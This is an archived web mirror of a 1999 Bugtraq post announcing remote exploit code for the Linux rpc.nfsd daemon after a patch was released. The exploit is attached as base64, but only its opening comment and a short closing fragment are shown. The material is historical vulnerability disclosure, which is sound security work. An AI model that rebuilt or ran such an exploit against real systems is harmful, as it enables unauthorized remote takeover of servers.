The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Новость: Установка sendamil с SMTP-авторизацией и проверкой на вирусы под FreeBSD
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

rpc.nfsd exploit code


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Wed, 10 Nov 1999 19:42:43 +0100
From: Mariusz Marcinkiewicz <tmogg@ZIGZAG.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: rpc.nfsd exploit code

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--1958937888-1199299929-942259363=:15745
Content-Type: TEXT/PLAIN; charset=US-ASCII



hi,
patch was published so i can send you exploit code

best regards,
	tmoggie

__
Mariusz Marcinkiewicz | phone: +48 601 080 286 | mail: many@rast.lodz.pdi.net
System Administrator && Tech Support  <tmogg@zigzag.pl>  http://www.zigzag.pl
Security Advisor [*] tmogg@hert.org || tmogg@hack.dk  [*] http://www.hert.org

--1958937888-1199299929-942259363=:15745
Content-Type: TEXT/x-csrc; name="3nfsd2.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.20.9911101942430.15745@mail.zigzag.pl>
Content-Description:
Content-Disposition: attachment; filename="3nfsd2.c"

LyoNCiAqIHJwYy5uZnNkMiBleHBsb2l0IGZvciBMaW51eCANCiAqDQogKiB0
b2RheSBpcyA0LzA3Lzk5ICgzIG1vbnRocyBhZnRlciAxc3QgdmVyc2lvbjsp
DQogKiANCiAqIGNoYW5nZXMgaW4gdi4yOg0KICogVGhhdCB2ZXJzaW9uIGNh
biBiZSB1c2VkIGZvciBGVUxMIHJlbW90ZSBleHBsb2l0aW5nLCBJIGNoYW5n
ZWQvYWRkZWQNCiAqIHR3byBpbXBvcnR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vcnQpOw0KfQ0K
--1958937888-1199299929-942259363=:15745--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network. RB2 Network.